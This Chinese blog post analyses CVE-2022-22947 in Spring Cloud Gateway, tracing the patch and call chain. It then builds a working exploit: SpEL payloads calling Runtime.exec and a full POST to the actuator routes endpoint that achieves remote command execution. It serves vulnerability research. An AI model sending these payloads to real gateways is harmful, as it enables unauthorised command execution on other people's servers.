写点什么

CVE-2022-22947 分析

作者:科技怪咖
  • 2022 年 8 月 31 日
    海南
  • 本文字数:2780 字

    阅读完需:约 9 分钟

CVE-2022-22947

[[spel inj|SPEL]] CASTING AND EVIL BEANS


Base


  • 漏洞环境:[VulEnv/springboot/cve_2022_22947 at master · XuCcc/VulEnv]

Source 分析

查看 v3.0.6->v3.0.7 的官方补丁 [Comparing v3.0.6…v3.0.7 · spring-cloud/spring-cloud-gateway],官方在 ShortcutConfigurable#getValue 方法中将 StandardEvaluationContext 修正成了 GatewayEvaluationContext


static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String eantryValue) {  Object value;  String rawValue = entryValue;  if (rawValue != null) {    rawValue = rawValue.trim();  }  if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {    // assume it's spel    StandardEvaluationContext context = new StandardEvaluationContext();    context.setBeanResolver(new BeanFactoryResolver(beanFactory));    Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());    value = expression.getValue(context);  }
复制代码


向上回溯调用路径


  • org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#DEFAULT

  • org.springframework.cloud.gateway.support.ShortcutConfigurable#shortcutType

  • org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties

  • 跟踪 properties 值

  • org.springframework.cloud.gateway.support.ConfigurationService.AbstractBuilder#properties

  • org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters

  • org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#getFilters

  • org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#convertToRoute

  • org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#getRoutes

  • 至此,可以得出 gateway 在对 filters 进行转换解析时触发了 spel 注入

POC 编写

在关键位置打上断点后,运行 app 尝试进入漏洞点。翻阅下官方文档 Spring Cloud Gateway[^1] 看下如何定义一个简单的路由


spring:  cloud:    gateway:      routes:      - id: after_route        uri: https://example.org        predicates:        - name: Cookie          args:            name: mycookie            regexp: mycookievalue
复制代码


debug 程序后,发现 mycookie 成功传入到了 org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue 的 entryValue 参数中


getValue:51, ShortcutConfigurable (org.springframework.cloud.gateway.support)normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support)normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support)bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support)lookup:216, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)combinePredicates:189, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)convertToRoute:116, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)apply:-1, 1605299030 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$842)//.....onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route)onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route)//.....main:33, Cve202222947Application (person.xu.vulEnv)
复制代码


注入下 spel 表达式


“#{T(org.springframework.util.StreamUtils).copyToString(T(java.lang.Runtime).getRuntime().exec(‘whoami’).getInputStream(),T(java.nio.charset.StandardCharsets).UTF_8)}”


访问 http://127.0.0.1:8083/actuator/gateway/routes/ 发现成功执行了命令

EXP 编写

那如何通过远程触发呢?根据 Gateway Actuator API [^2] 文档,/gateway/routes/{id_route_to_create} 接口提供了创建路由的能力 其中 json 构造方式如文档中的


{  "id": "first_route",  "predicates": [{    "name": "Path",    "args": {"_genkey_0":"/first"}  }],  "filters": [],  "uri": "https://www.uri-destination.org",  "order": 0}
复制代码


将其转换一下得到


{    "id": "first_route",    "predicates": [        {            "name": "Cookie",            "args": {                "_genkey_0": "#{T(java.lang.Runtime).getRuntime().exec('id')}",                "_genkey_1": "mycookievalue"            }        }    ],    "filters": [],    "uri": "https://www.uri-destination.org",    "order": 0}
复制代码


通过 POST 发送 exp


POST /actuator/gateway/routes/first_route HTTP/1.1Host: 127.0.0.1:8083Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/jsonContent-Length: 385{  "id": "first_route",  "predicates": [{    "name": "Cookie",    "args": {"_genkey_0":"#{T(org.springframework.util.StreamUtils).copyToString(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream(),T(java.nio.charset.StandardCharsets).UTF_8)}","_genkey_1":"mycookievalue"}  }],  "filters": [],  "uri": "https://www.uri-destination.org",  "order": 0}]
复制代码


后通过 /actuator/gateway/refresh 刷新路由缓存 访问 /actuator/gateway/routes/ 得到命令执行的结果


[    {        "predicate": "Paths: [/get], match trailing slash: true",        "route_id": "path_route",        "filters": [],        "uri": "http://httpbin.org:80",        "order": 0    },//........    {        "predicate": "Cookie: name=china\xuuupro\r\n regexp=mycookievalue",        "route_id": "first_route",        "filters": [],        "uri": "https://www.uri-destination.org",        "order": 0    }]
复制代码


\

用户头像

科技怪咖

关注

还未添加个人签名 2022.07.29 加入

还未添加个人简介

评论

发布
暂无评论
CVE-2022-22947 分析_科技怪咖_InfoQ写作社区